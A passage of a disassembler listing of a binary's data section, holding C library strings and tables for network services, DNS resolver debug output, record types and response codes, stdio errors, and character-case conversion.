aUucpPath db 'uucp-path',0              ; DATA XREF: sub_805E9B8+458o
aNntp	  db 'nntp',0                   ; DATA XREF: sub_805E9B8+464o
aErpc	  db 'erpc',0                   ; DATA XREF: sub_805E9B8+470o
aNtp	  db 'ntp',0                    ; DATA XREF: sub_805E9B8+47Co
aStatsrv  db 'statsrv',0                ; DATA XREF: sub_805E9B8+488o
aProfile  db 'profile',0                ; DATA XREF: sub_805E9B8+494o
aNews	  db 'NeWS',0                   ; DATA XREF: sub_805E9B8+4A0o
aSnmp	  db 'snmp',0                   ; DATA XREF: sub_805E9B8+4ACo
aSnmpTrap db 'snmp-trap',0              ; DATA XREF: sub_805E9B8+4B8o
aPrintSrv db 'print-srv',0              ; DATA XREF: sub_805E9B8+4C4o
aD_0	  db '%d',0                     ; DATA XREF: sub_805E9B8+4D1o
					; sub_805EEA4+F1o ...
aIcmp	  db 'icmp',0                   ; DATA XREF: sub_805EEA4+60o
aIgmp	  db 'igmp',0                   ; DATA XREF: sub_805EEA4+6Co
aGgp	  db 'ggp',0                    ; DATA XREF: sub_805EEA4+78o
aSt	  db 'st',0                     ; DATA XREF: sub_805EEA4+84o
aTcp	  db 'tcp',0                    ; DATA XREF: sub_805EEA4+90o
aUcl	  db 'ucl',0                    ; DATA XREF: sub_805EEA4+9Co
aEgp	  db 'egp',0                    ; DATA XREF: sub_805EEA4+A8o
aIgp	  db 'igp',0                    ; DATA XREF: sub_805EEA4+B4o
aNvpIi	  db 'nvp-II',0                 ; DATA XREF: sub_805EEA4+C0o
aPup	  db 'pup',0                    ; DATA XREF: sub_805EEA4+CCo
aChaos	  db 'chaos',0                  ; DATA XREF: sub_805EEA4+D8o
aUdp	  db 'udp',0                    ; DATA XREF: sub_805EEA4+E4o
aResOptions db ';; res options:',0      ; DATA XREF: ___fp_resstat+Co
aS_0	  db ' %s',0                    ; DATA XREF: ___fp_resstat+34o
aHeaderOpcodeSS	db ';; ->>HEADER<<- opcode: %s, status: %s, id: %d',0
					; DATA XREF: ___fp_nquery+8Ao
aFlags	  db '; flags:',0               ; DATA XREF: ___fp_nquery+FFo
aQr	  db ' qr',0                    ; DATA XREF: ___fp_nquery+119o
aAa	  db ' aa',0                    ; DATA XREF: ___fp_nquery+133o
aTc	  db ' tc',0                    ; DATA XREF: ___fp_nquery+14Do
aRd	  db ' rd',0                    ; DATA XREF: ___fp_nquery+167o
aRa	  db ' ra',0                    ; DATA XREF: ___fp_nquery+181o
aQuesD	  db '; Ques: %d',0             ; DATA XREF: ___fp_nquery+1B7o
aAnsD	  db ', Ans: %d',0              ; DATA XREF: ___fp_nquery+1D7o
aAuthD	  db ', Auth: %d',0             ; DATA XREF: ___fp_nquery+1F7o
aAdditD	  db ', Addit: %d',0            ; DATA XREF: ___fp_nquery+217o
aQuestions db ';; QUESTIONS:',0Ah,0     ; DATA XREF: ___fp_nquery+27Eo
asc_806969E db ';;',9,0                 ; DATA XREF: ___fp_nquery+2A6o
aTypeS	  db ', type = %s',0            ; DATA XREF: ___fp_nquery+34Ao
aClassS	  db ', class = %s',0Ah,0       ; DATA XREF: ___fp_nquery+38Bo
aAnswers  db ';; ANSWERS:',0Ah,0        ; DATA XREF: ___fp_nquery+3E0o
aAuthorityRecor	db ';; AUTHORITY RECORDS:',0Ah,0 ; DATA XREF: ___fp_nquery+412o
aAdditionalReco	db ';; ADDITIONAL RECORDS:',0Ah,0 ; DATA XREF: ___fp_nquery+444o
a___truncated db 0Ah			; DATA XREF: ___fp_nquery+474o
	  db ';; ...truncated',0Ah,0
a___malformed db 0Ah			; DATA XREF: ___fp_nquery+47Co
	  db ';; ...malformed',0Ah,0
aLu	  db 9,'%lu',0                  ; DATA XREF: ___p_rr+9Eo
aS_1	  db 9,'%s',0                   ; DATA XREF: ___p_rr+C5o ___p_rr+DDo ...
aSProtoDPortD db 9,'%s',9,'; proto %d, port %d',0 ; DATA XREF: ___p_rr+2FFo
a_S	  db 9,'%.*s',0                 ; DATA XREF: ___p_rr+34Ao ___p_rr+369o
aWarningOsTypeM	db 0Ah			; DATA XREF: ___p_rr+38Ao
	  db ';; *** Warning *** OS-type missing',0
asc_8069767 db ' (',0Ah,0               ; DATA XREF: ___p_rr+412o
aLuSerial db 9,9,9,'%lu',9,'; serial',0Ah,0 ; DATA XREF: ___p_rr+428o
aLuRefreshS db 9,9,9,'%lu',9,'; refresh (%s)',0Ah,0 ; DATA XREF: ___p_rr+446o
aLuRetryS db 9,9,9,'%lu',9,'; retry (%s)',0Ah,0 ; DATA XREF: ___p_rr+467o
aLuExpireS db 9,9,9,'%lu',9,'; expire (%s)',0Ah,0 ; DATA XREF: ___p_rr+485o
aLuMinimumS db 9,9,9,'%lu )',9,'; minimum (%s)',0 ; DATA XREF: ___p_rr+4A6o
aD_1	  db 9,'%d ',0                  ; DATA XREF: ___p_rr+4C8o ___p_rr+4F8o
asc_80697DB db 9,'"',0                  ; DATA XREF: ___p_rr+531o
aU	  db 9,'%u',0                   ; DATA XREF: ___p_rr+6C5o
aSS	  db 9,'%s %s ( ',0             ; DATA XREF: ___p_rr+70Co
asc_80697EC db 0Ah			; DATA XREF: ___p_rr+73Do
	  db 9,9,9,0
a?D?	  db 9,'?%d?',0                 ; DATA XREF: ___p_rr+7C4o
aPacketSizeErro	db ';; packet size error (found %d, dlen was %d)',0Ah,0
					; DATA XREF: ___p_rr+804o
aA	  db 'A',0                      ; DATA XREF: ___p_type+418o
aNs	  db 'NS',0                     ; DATA XREF: ___p_type+424o
aCname	  db 'CNAME',0                  ; DATA XREF: ___p_type+430o
aSoa	  db 'SOA',0                    ; DATA XREF: ___p_type+43Co
aMb	  db 'MB',0                     ; DATA XREF: ___p_type+448o
aMg	  db 'MG',0                     ; DATA XREF: ___p_type+454o
aMr	  db 'MR',0                     ; DATA XREF: ___p_type+460o
aNull_0	  db 'NULL',0                   ; DATA XREF: ___p_type+46Co
aWks	  db 'WKS',0                    ; DATA XREF: ___p_type+478o
aPtr	  db 'PTR',0                    ; DATA XREF: ___p_type+484o
aHinfo	  db 'HINFO',0                  ; DATA XREF: ___p_type+490o
aMinfo	  db 'MINFO',0                  ; DATA XREF: ___p_type+49Co
aMx	  db 'MX',0                     ; DATA XREF: ___p_type+4A8o
aTxt	  db 'TXT',0                    ; DATA XREF: ___p_type+4B4o
aRp	  db 'RP',0                     ; DATA XREF: ___p_type+4C0o
aAfsdb	  db 'AFSDB',0                  ; DATA XREF: ___p_type+4CCo
aX25	  db 'X25',0                    ; DATA XREF: ___p_type+4D8o
aIsdn	  db 'ISDN',0                   ; DATA XREF: ___p_type+4E4o
aRt	  db 'RT',0                     ; DATA XREF: ___p_type+4F0o
aNsap	  db 'NSAP',0                   ; DATA XREF: ___p_type+4FCo
aNsap_ptr db 'NSAP_PTR',0               ; DATA XREF: ___p_type+508o
aSig	  db 'SIG',0                    ; DATA XREF: ___p_type+514o
aKey	  db 'KEY',0                    ; DATA XREF: ___p_type+520o
aPx	  db 'PX',0                     ; DATA XREF: ___p_type+52Co
aGpos	  db 'GPOS',0                   ; DATA XREF: ___p_type+538o
aAaaa	  db 'AAAA',0                   ; DATA XREF: ___p_type+544o
aLoc	  db 'LOC',0                    ; DATA XREF: ___p_type+550o
aAxfr	  db 'AXFR',0                   ; DATA XREF: ___p_type+55Co
aMailb	  db 'MAILB',0                  ; DATA XREF: ___p_type+568o
aMaila	  db 'MAILA',0                  ; DATA XREF: ___p_type+574o
aAny	  db 'ANY',0                    ; DATA XREF: ___p_type+580o
					; ___p_class+38o
aUinfo	  db 'UINFO',0                  ; DATA XREF: ___p_type+58Co
aUid	  db 'UID',0                    ; DATA XREF: ___p_type+598o
aGid	  db 'GID',0                    ; DATA XREF: ___p_type+5A4o
aIn	  db 'IN',0                     ; DATA XREF: ___p_class+20o
aHs	  db 'HS',0                     ; DATA XREF: ___p_class+2Co
aInit	  db 'init',0                   ; DATA XREF: ___p_option+A0o
aDebug_1  db 'debug',0                  ; DATA XREF: ___p_option+ACo
aAaonlyUnimpl db 'aaonly(unimpl)',0     ; DATA XREF: ___p_option+B8o
aUsevc	  db 'usevc',0                  ; DATA XREF: ___p_option+C4o
aPrimryUnimpl db 'primry(unimpl)',0     ; DATA XREF: ___p_option+D0o
aIgntc	  db 'igntc',0                  ; DATA XREF: ___p_option+DCo
aRecurs	  db 'recurs',0                 ; DATA XREF: ___p_option+E8o
aDefnam	  db 'defnam',0                 ; DATA XREF: ___p_option+F4o
aStyopn	  db 'styopn',0                 ; DATA XREF: ___p_option+100o
aDnsrch	  db 'dnsrch',0                 ; DATA XREF: ___p_option+10Co
aInsecure1 db 'insecure1',0             ; DATA XREF: ___p_option+118o
aInsecure2 db 'insecure2',0             ; DATA XREF: ___p_option+124o
a?0xLx?	  db '?0x%lx?',0                ; DATA XREF: ___p_option+131o
dword_806992F dd 65732030h		; DATA XREF: ___p_time+10r
word_8069933 dw	7363h			; DATA XREF: ___p_time+1Ar
byte_8069935 db	0			; DATA XREF: ___p_time+26r
unk_8069936 db	  0 ;			; DATA XREF: ___p_time+6Bo
					; ___p_time+9Co ...
unk_8069937 db	73h ; s			; DATA XREF: ___p_time+61o
					; ___p_time+92o ...
	  db	0 ;  
aDDayS	  db '%d day%s',0               ; DATA XREF: ___p_time+72o
aDHourS	  db '%d hour%s',0              ; DATA XREF: ___p_time+A3o
aDMinS	  db '%d min%s',0               ; DATA XREF: ___p_time+E1o
aDSecS	  db '%d sec%s',0               ; DATA XREF: ___p_time+131o
aZoneref  db 'ZONEREF',0                ; DATA XREF: .data:08078FE8o
aZoneinit db 'ZONEINIT',0               ; DATA XREF: .data:08078FE4o
aUpdatema db 'UPDATEMA',0               ; DATA XREF: .data:08078FE0o
aUpdatem  db 'UPDATEM',0                ; DATA XREF: .data:08078FDCo
aUpdateda db 'UPDATEDA',0               ; DATA XREF: .data:08078FD8o
aUpdated  db 'UPDATED',0                ; DATA XREF: .data:08078FD4o
aUpdatea  db 'UPDATEA',0                ; DATA XREF: .data:08078FD0o
a8765:					; DATA XREF: .data:08078FCCo
					; .data:0807900Co ...
	  unicode 0, <8765>
aNotify	  db 'NOTIFY',0                 ; DATA XREF: .data:08078FBCo
aCqueryu  db 'CQUERYU',0                ; DATA XREF: .data:08078FB8o
aCquerym  db 'CQUERYM',0                ; DATA XREF: .data:08078FB4o
aIquery	  db 'IQUERY',0                 ; DATA XREF: .data:08078FB0o
aQuery	  db 'QUERY',0
aNochange db 'NOCHANGE',0               ; DATA XREF: .data:08079028o
a14	  db '14',0                     ; DATA XREF: .data:08079024o
a13	  db '13',0                     ; DATA XREF: .data:08079020o
a12	  db '12',0                     ; DATA XREF: .data:0807901Co
a11	  db '11',0                     ; DATA XREF: .data:08079018o
a10	  db '10',0                     ; DATA XREF: .data:08079014o
a9	  db '9',0                      ; DATA XREF: .data:08079010o
aRefused  db 'REFUSED',0                ; DATA XREF: .data:08079000o
aNotimp	  db 'NOTIMP',0                 ; DATA XREF: .data:08078FFCo
aNxdomain db 'NXDOMAIN',0               ; DATA XREF: .data:08078FF8o
aServfail db 'SERVFAIL',0               ; DATA XREF: .data:08078FF4o
aFormerr  db 'FORMERR',0                ; DATA XREF: .data:08078FF0o
aNoerror  db 'NOERROR',0
aRes_mkqueryDSD	db ';; res_mkquery(%d, %s, %d, %d)',0Ah,0 ; DATA XREF: _res_mkquery+51o
a00000000000000	db '                0000000000000000',0 ; DATA XREF: __IO_padn+13o
asc_8069A51 db ': ',0                   ; DATA XREF: __IO_perror+2Co
aSSS	  db '%s%s%s',0Ah,0             ; DATA XREF: __IO_perror+59o
aUnknownError db 'Unknown error',0      ; DATA XREF: __IO_perror+6Do
aSSSD	  db '%s%s%s %d',0Ah,0          ; DATA XREF: __IO_perror+87o
a0123456789abcd	db '0123456789abcdefghijklmnopqrstuvwxyz',0 ; DATA XREF: __IO_vfprintf+E7Co
					; __IO_vfprintf+28CEo ...
a0123456789ab_0	db '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ',0 ; DATA XREF: __IO_vfprintf+E8Fo
					; __IO_vfprintf+28EBo ...
	  align	4
	  db 2,	0, 2, 0, 2, 0, 2, 0, 2,	0, 2, 0, 2, 0, 2, 0, 2,	0, 2, 0
	  db 2,	0, 2, 0, 2, 0, 2, 0, 2,	0, 2, 0, 2, 0, 2, 0, 2,	0, 2, 0
	  db 2,	0, 2, 0, 2, 0, 2, 0, 2,	0, 2, 0, 2, 0, 2, 0, 2,	0, 2, 0
	  db 2,	0, 2, 0, 2, 0, 2, 0, 2,	0, 2, 0, 2, 0, 2, 0, 2,	0, 2, 0
	  db 2,	0, 2, 0, 2, 0, 2, 0, 2,	0, 2, 0, 2, 0, 2, 0, 2,	0, 2, 0
	  db 2,	0, 2, 0, 2, 0, 2, 0, 2,	0, 2, 0, 2, 0, 2, 0, 2,	0, 2, 0
	  db 2,	0, 2, 0, 2, 0, 2, 0, 2,	0, 2, 0, 2, 0, 2, 0, 2,	0, 2, 0
	  db 2,	0, 2, 0, 2, 0, 2, 0, 2,	0, 2, 0, 2, 0, 2, 0, 2,	0, 2, 0
	  db 2,	0, 2, 0, 2, 0, 2, 0, 2,	0, 2, 0, 2, 0, 2, 0, 2,	0, 2, 0
	  db 2,	0, 2, 0, 2, 0, 2, 0, 2,	0, 2, 0, 2, 0, 2, 0, 2,	0, 2, 0
	  db 2,	0, 2, 0, 2, 0, 2, 0, 2,	0, 2, 0, 2, 0, 2, 0, 2,	0, 2, 0
	  db 2,	0, 2, 0, 2, 0, 2, 0, 2,	0, 2, 0, 2, 0, 2, 0, 2,	0, 2, 0
	  db 2,	0, 2, 0, 2, 0, 2, 0, 2,	0, 2, 0, 2, 0, 2, 0, 2,	0, 2, 0
	  db 2,	0, 2, 0, 2, 0, 2, 0, 2,	0, 2, 0, 2, 0, 3, 20h, 2, 20h
	  db 2,	20h, 2,	20h, 2,	20h, 2,	0, 2, 0, 2, 0, 2, 0, 2,	0, 2, 0
	  db 2,	0, 2, 0, 2, 0, 2, 0, 2,	0, 2, 0, 2, 0, 2, 0, 2,	0, 2, 0
	  db 2,	0, 2, 0, 1, 60h, 4, 0C0h, 4, 0C0h, 4, 0C0h, 4, 0C0h, 4
	  db 0C0h, 4, 0C0h, 4, 0C0h, 4,	0C0h, 4, 0C0h, 4, 0C0h,	4, 0C0h
	  db 4,	0C0h, 4, 0C0h, 4, 0C0h,	4, 0C0h, 0, 0D8h, 0, 0D8h, 0, 0D8h
	  db 0,	0D8h, 0, 0D8h, 0, 0D8h,	0, 0D8h, 0, 0D8h, 0, 0D8h, 0, 0D8h
	  db 4,	0C0h, 4, 0C0h, 4, 0C0h,	4, 0C0h, 4, 0C0h, 4, 0C0h, 4, 0C0h
	  db 0,	0D5h, 0, 0D5h, 0, 0D5h,	0, 0D5h, 0, 0D5h, 0, 0D5h, 0, 0C5h
	  db 0,	0C5h, 0, 0C5h, 0, 0C5h,	0, 0C5h, 0, 0C5h, 0, 0C5h, 0, 0C5h
	  db 0,	0C5h, 0, 0C5h, 0, 0C5h,	0, 0C5h, 0, 0C5h, 0, 0C5h, 0, 0C5h
	  db 0,	0C5h, 0, 0C5h, 0, 0C5h,	0, 0C5h, 0, 0C5h, 4, 0C0h, 4, 0C0h
	  db 4,	0C0h, 4, 0C0h, 4, 0C0h,	4, 0C0h, 0, 0D6h, 0, 0D6h, 0, 0D6h
	  db 0,	0D6h, 0, 0D6h, 0, 0D6h,	0, 0C6h, 0, 0C6h, 0, 0C6h, 0, 0C6h
	  db 0,	0C6h, 0, 0C6h, 0, 0C6h,	0, 0C6h, 0, 0C6h, 0, 0C6h, 0, 0C6h
	  db 0,	0C6h, 0, 0C6h, 0, 0C6h,	0, 0C6h, 0, 0C6h, 0, 0C6h, 0, 0C6h
	  db 0,	0C6h, 0, 0C6h, 4, 0C0h,	4, 0C0h, 4, 0C0h, 4, 0C0h, 2, 0
	  db 2,	0, 2, 0, 2, 0, 2, 0, 2,	0, 2, 0, 2, 0, 2, 0, 2,	0, 2, 0
	  db 2,	0, 2, 0, 2, 0, 2, 0, 2,	0, 2, 0, 2, 0, 2, 0, 2,	0, 2, 0
	  db 2,	0, 2, 0, 2, 0, 2, 0, 2,	0, 2, 0, 2, 0, 2, 0, 2,	0, 2, 0
	  db 2,	0, 2, 0, 2, 0, 2, 0, 2,	0, 2, 0, 2, 0, 2, 0, 2,	0, 2, 0
	  db 2,	0, 2, 0, 2, 0, 2, 0, 2,	0, 2, 0, 2, 0, 2, 0, 2,	0, 2, 0
	  db 2,	0, 2, 0, 2, 0, 2, 0, 2,	0, 2, 0, 2, 0, 2, 0, 2,	0, 2, 0
	  db 2,	0, 2, 0, 2, 0, 2, 0, 2,	0, 2, 0, 2, 0, 2, 0, 2,	0, 2, 0
	  db 2,	0, 2, 0, 2, 0, 2, 0, 2,	0, 2, 0, 2, 0, 2, 0, 2,	0, 2, 0
	  db 2,	0, 2, 0, 2, 0, 2, 0, 2,	0, 2, 0, 2, 0, 2, 0, 2,	0, 2, 0
	  db 2,	0, 2, 0, 2, 0, 2, 0, 2,	0, 2, 0, 2, 0, 2, 0, 2,	0, 2, 0
	  db 2,	0, 2, 0, 2, 0, 2, 0, 2,	0, 2, 0, 2, 0, 2, 0, 2,	0, 2, 0
	  db 2,	0, 2, 0, 2, 0, 2, 0, 2,	0, 2, 0, 2, 0, 2, 0, 2,	0, 2, 0
	  db 2,	0, 2, 0, 2, 0, 2, 0, 2,	0, 2, 0, 2, 0, 2, 2 dup(0), 80h
	  db 3 dup(0), 81h, 3 dup(0), 82h, 3 dup(0), 83h, 3 dup(0), 84h
	  db 3 dup(0), 85h, 3 dup(0), 86h, 3 dup(0), 87h, 3 dup(0), 88h
	  db 3 dup(0), 89h, 3 dup(0), 8Ah, 3 dup(0), 8Bh, 3 dup(0), 8Ch
	  db 3 dup(0), 8Dh, 3 dup(0), 8Eh, 3 dup(0), 8Fh, 3 dup(0), 90h
	  db 3 dup(0), 91h, 3 dup(0), 92h, 3 dup(0), 93h, 3 dup(0), 94h
	  db 3 dup(0), 95h, 3 dup(0), 96h, 3 dup(0), 97h, 3 dup(0), 98h
	  db 3 dup(0), 99h, 3 dup(0), 9Ah, 3 dup(0), 9Bh, 3 dup(0), 9Ch
	  db 3 dup(0), 9Dh, 3 dup(0), 9Eh, 3 dup(0), 9Fh, 3 dup(0), 0A0h
	  db 3 dup(0), 0A1h, 3 dup(0), 0A2h, 3 dup(0), 0A3h, 3 dup(0)
	  db 0A4h, 3 dup(0), 0A5h, 3 dup(0), 0A6h, 3 dup(0), 0A7h, 3 dup(0)
	  db 0A8h, 3 dup(0), 0A9h, 3 dup(0), 0AAh, 3 dup(0), 0ABh, 3 dup(0)
	  db 0ACh, 3 dup(0), 0ADh, 3 dup(0), 0AEh, 3 dup(0), 0AFh, 3 dup(0)
	  db 0B0h, 3 dup(0), 0B1h, 3 dup(0), 0B2h, 3 dup(0), 0B3h, 3 dup(0)
	  db 0B4h, 3 dup(0), 0B5h, 3 dup(0), 0B6h, 3 dup(0), 0B7h, 3 dup(0)
	  db 0B8h, 3 dup(0), 0B9h, 3 dup(0), 0BAh, 3 dup(0), 0BBh, 3 dup(0)
	  db 0BCh, 3 dup(0), 0BDh, 3 dup(0), 0BEh, 3 dup(0), 0BFh, 3 dup(0)
	  db 0C0h, 3 dup(0), 0C1h, 3 dup(0), 0C2h, 3 dup(0), 0C3h, 3 dup(0)
	  db 0C4h, 3 dup(0), 0C5h, 3 dup(0), 0C6h, 3 dup(0), 0C7h, 3 dup(0)
	  db 0C8h, 3 dup(0), 0C9h, 3 dup(0), 0CAh, 3 dup(0), 0CBh, 3 dup(0)
	  db 0CCh, 3 dup(0), 0CDh, 3 dup(0), 0CEh, 3 dup(0), 0CFh, 3 dup(0)
	  db 0D0h, 3 dup(0), 0D1h, 3 dup(0), 0D2h, 3 dup(0), 0D3h, 3 dup(0)
	  db 0D4h, 3 dup(0), 0D5h, 3 dup(0), 0D6h, 3 dup(0), 0D7h, 3 dup(0)
	  db 0D8h, 3 dup(0), 0D9h, 3 dup(0), 0DAh, 3 dup(0), 0DBh, 3 dup(0)
	  db 0DCh, 3 dup(0), 0DDh, 3 dup(0), 0DEh, 3 dup(0), 0DFh, 3 dup(0)
	  db 0E0h, 3 dup(0), 0E1h, 3 dup(0), 0E2h, 3 dup(0), 0E3h, 3 dup(0)
	  db 0E4h, 3 dup(0), 0E5h, 3 dup(0), 0E6h, 3 dup(0), 0E7h, 3 dup(0)
	  db 0E8h, 3 dup(0), 0E9h, 3 dup(0), 0EAh, 3 dup(0), 0EBh, 3 dup(0)
	  db 0ECh, 3 dup(0), 0EDh, 3 dup(0), 0EEh, 3 dup(0), 0EFh, 3 dup(0)
	  db 0F0h, 3 dup(0), 0F1h, 3 dup(0), 0F2h, 3 dup(0), 0F3h, 3 dup(0)
	  db 0F4h, 3 dup(0), 0F5h, 3 dup(0), 0F6h, 3 dup(0), 0F7h, 3 dup(0)
	  db 0F8h, 3 dup(0), 0F9h, 3 dup(0), 0FAh, 3 dup(0), 0FBh, 3 dup(0)
	  db 0FCh, 3 dup(0), 0FDh, 3 dup(0), 0FEh, 3 dup(0), 0FFh, 7 dup(0)
	  db 1,	3 dup(0), 2, 3 dup(0), 3, 3 dup(0), 4, 3 dup(0), 5, 3 dup(0)
	  db 6,	3 dup(0), 7, 3 dup(0), 8, 3 dup(0), 9, 3 dup(0), 0Ah, 3	dup(0)
	  db 0Bh, 3 dup(0), 0Ch, 3 dup(0), 0Dh,	3 dup(0), 0Eh, 3 dup(0)
	  db 0Fh, 3 dup(0), 10h, 3 dup(0), 11h,	3 dup(0), 12h, 3 dup(0)
	  db 13h, 3 dup(0), 14h, 3 dup(0), 15h,	3 dup(0), 16h, 3 dup(0)
	  db 17h, 3 dup(0), 18h, 3 dup(0), 19h,	3 dup(0), 1Ah, 3 dup(0)
	  db 1Bh, 3 dup(0), 1Ch, 3 dup(0), 1Dh,	3 dup(0), 1Eh, 3 dup(0)
	  db 1Fh, 3 dup(0), 20h, 3 dup(0), 21h,	3 dup(0), 22h, 3 dup(0)
	  db 23h, 3 dup(0), 24h, 3 dup(0), 25h,	3 dup(0), 26h, 3 dup(0)
	  db 27h, 3 dup(0), 28h, 3 dup(0), 29h,	3 dup(0), 2Ah, 3 dup(0)
	  db 2Bh, 3 dup(0), 2Ch, 3 dup(0), 2Dh,	3 dup(0), 2Eh, 3 dup(0)
	  db 2Fh, 3 dup(0), 30h, 3 dup(0), 31h,	3 dup(0), 32h, 3 dup(0)
	  db 33h, 3 dup(0), 34h, 3 dup(0), 35h,	3 dup(0), 36h, 3 dup(0)
	  db 37h, 3 dup(0), 38h, 3 dup(0), 39h,	3 dup(0), 3Ah, 3 dup(0)
	  db 3Bh, 3 dup(0), 3Ch, 3 dup(0), 3Dh,	3 dup(0), 3Eh, 3 dup(0)
	  db 3Fh, 3 dup(0), 40h, 3 dup(0), 41h,	3 dup(0), 42h, 3 dup(0)
	  db 43h, 3 dup(0), 44h, 3 dup(0), 45h,	3 dup(0), 46h, 3 dup(0)
	  db 47h, 3 dup(0), 48h, 3 dup(0), 49h,	3 dup(0), 4Ah, 3 dup(0)
	  db 4Bh, 3 dup(0), 4Ch, 3 dup(0), 4Dh,	3 dup(0), 4Eh, 3 dup(0)
	  db 4Fh, 3 dup(0), 50h, 3 dup(0), 51h,	3 dup(0), 52h, 3 dup(0)
	  db 53h, 3 dup(0), 54h, 3 dup(0), 55h,	3 dup(0), 56h, 3 dup(0)
	  db 57h, 3 dup(0), 58h, 3 dup(0), 59h,	3 dup(0), 5Ah, 3 dup(0)
	  db 5Bh, 3 dup(0), 5Ch, 3 dup(0), 5Dh,	3 dup(0), 5Eh, 3 dup(0)
	  db 5Fh, 3 dup(0), 60h, 3 dup(0), 41h,	3 dup(0), 42h, 3 dup(0)
	  db 43h, 3 dup(0), 44h, 3 dup(0), 45h,	3 dup(0), 46h, 3 dup(0)
	  db 47h, 3 dup(0), 48h, 3 dup(0), 49h,	3 dup(0), 4Ah, 3 dup(0)
	  db 4Bh, 3 dup(0), 4Ch, 3 dup(0), 4Dh,	3 dup(0), 4Eh, 3 dup(0)
	  db 4Fh, 3 dup(0), 50h, 3 dup(0), 51h,	3 dup(0), 52h, 3 dup(0)
	  db 53h, 3 dup(0), 54h, 3 dup(0), 55h,	3 dup(0), 56h, 3 dup(0)
	  db 57h, 3 dup(0), 58h, 3 dup(0), 59h,	3 dup(0), 5Ah, 3 dup(0)
	  db 7Bh, 3 dup(0), 7Ch, 3 dup(0), 7Dh,	3 dup(0), 7Eh, 3 dup(0)
	  db 7Fh, 3 dup(0), 80h, 3 dup(0), 81h,	3 dup(0), 82h, 3 dup(0)
	  db 83h, 3 dup(0), 84h, 3 dup(0), 85h,	3 dup(0), 86h, 3 dup(0)
	  db 87h, 3 dup(0), 88h, 3 dup(0), 89h,	3 dup(0), 8Ah, 3 dup(0)
	  db 8Bh, 3 dup(0), 8Ch, 3 dup(0), 8Dh,	3 dup(0), 8Eh, 3 dup(0)
	  db 8Fh, 3 dup(0), 90h, 3 dup(0), 91h,	3 dup(0), 92h, 3 dup(0)
	  db 93h, 3 dup(0), 94h, 3 dup(0), 95h,	3 dup(0), 96h, 3 dup(0)
	  db 97h, 3 dup(0), 98h, 3 dup(0), 99h,	3 dup(0), 9Ah, 3 dup(0)
	  db 9Bh, 3 dup(0), 9Ch, 3 dup(0), 9Dh,	3 dup(0), 9Eh, 3 dup(0)
	  db 9Fh, 3 dup(0), 0A0h, 3 dup(0), 0A1h, 3 dup(0), 0A2h, 3 dup(0)
	  db 0A3h, 3 dup(0), 0A4h, 3 dup(0), 0A5h, 3 dup(0), 0A6h, 3 dup(0)
	  db 0A7h, 3 dup(0), 0A8h, 3 dup(0), 0A9h, 3 dup(0), 0AAh, 3 dup(0)
	  db 0ABh, 3 dup(0), 0ACh, 3 dup(0), 0ADh, 3 dup(0), 0AEh, 3 dup(0)
	  db 0AFh, 3 dup(0), 0B0h, 3 dup(0), 0B1h, 3 dup(0), 0B2h, 3 dup(0)
	  db 0B3h, 3 dup(0), 0B4h, 3 dup(0), 0B5h, 3 dup(0), 0B6h, 3 dup(0)
	  db 0B7h, 3 dup(0), 0B8h, 3 dup(0), 0B9h, 3 dup(0), 0BAh, 3 dup(0)
	  db 0BBh, 3 dup(0), 0BCh, 3 dup(0), 0BDh, 3 dup(0), 0BEh, 3 dup(0)
	  db 0BFh, 3 dup(0), 0C0h, 3 dup(0), 0C1h, 3 dup(0), 0C2h, 3 dup(0)
	  db 0C3h, 3 dup(0), 0C4h, 3 dup(0), 0C5h, 3 dup(0), 0C6h, 3 dup(0)
	  db 0C7h, 3 dup(0), 0C8h, 3 dup(0), 0C9h, 3 dup(0), 0CAh, 3 dup(0)
	  db 0CBh, 3 dup(0), 0CCh, 3 dup(0), 0CDh, 3 dup(0), 0CEh, 3 dup(0)
	  db 0CFh, 3 dup(0), 0D0h, 3 dup(0), 0D1h, 3 dup(0), 0D2h, 3 dup(0)
	  db 0D3h, 3 dup(0), 0D4h, 3 dup(0), 0D5h, 3 dup(0), 0D6h, 3 dup(0)
	  db 0D7h, 3 dup(0), 0D8h, 3 dup(0), 0D9h, 3 dup(0), 0DAh, 3 dup(0)
	  db 0DBh, 3 dup(0), 0DCh, 3 dup(0), 0DDh, 3 dup(0), 0DEh, 3 dup(0)
	  db 0DFh, 3 dup(0), 0E0h, 3 dup(0), 0E1h, 3 dup(0), 0E2h, 3 dup(0)
	  db 0E3h, 3 dup(0), 0E4h, 3 dup(0), 0E5h, 3 dup(0), 0E6h, 3 dup(0)
	  db 0E7h, 3 dup(0), 0E8h, 3 dup(0), 0E9h, 3 dup(0), 0EAh, 3 dup(0)
	  db 0EBh, 3 dup(0), 0ECh, 3 dup(0), 0EDh, 3 dup(0), 0EEh, 3 dup(0)
	  db 0EFh, 3 dup(0), 0F0h, 3 dup(0), 0F1h, 3 dup(0), 0F2h, 3 dup(0)
	  db 0F3h, 3 dup(0), 0F4h, 3 dup(0), 0F5h, 3 dup(0), 0F6h, 3 dup(0)
	  db 0F7h, 3 dup(0), 0F8h, 3 dup(0), 0F9h, 3 dup(0), 0FAh, 3 dup(0)
	  db 0FBh, 3 dup(0), 0FCh, 3 dup(0), 0FDh, 3 dup(0), 0FEh, 3 dup(0)
	  db 0FFh, 4 dup(0), 80h, 3 dup(0), 81h, 3 dup(0), 82h,	3 dup(0)
	  db 83h, 3 dup(0), 84h, 3 dup(0), 85h,	3 dup(0), 86h, 3 dup(0)
	  db 87h, 3 dup(0), 88h, 3 dup(0), 89h,	3 dup(0), 8Ah, 3 dup(0)
	  db 8Bh, 3 dup(0), 8Ch, 3 dup(0), 8Dh,	3 dup(0), 8Eh, 3 dup(0)
	  db 8Fh, 3 dup(0), 90h, 3 dup(0), 91h,	3 dup(0), 92h, 3 dup(0)
	  db 93h, 3 dup(0), 94h, 3 dup(0), 95h,	3 dup(0), 96h, 3 dup(0)
	  db 97h, 3 dup(0), 98h, 3 dup(0), 99h,	3 dup(0), 9Ah, 3 dup(0)
	  db 9Bh, 3 dup(0), 9Ch, 3 dup(0), 9Dh,	3 dup(0), 9Eh, 3 dup(0)
	  db 9Fh, 3 dup(0), 0A0h, 3 dup(0), 0A1h, 3 dup(0), 0A2h, 3 dup(0)
	  db 0A3h, 3 dup(0), 0A4h, 3 dup(0), 0A5h, 3 dup(0), 0A6h, 3 dup(0)
	  db 0A7h, 3 dup(0), 0A8h, 3 dup(0), 0A9h, 3 dup(0), 0AAh, 3 dup(0)
	  db 0ABh, 3 dup(0), 0ACh, 3 dup(0), 0ADh, 3 dup(0), 0AEh, 3 dup(0)
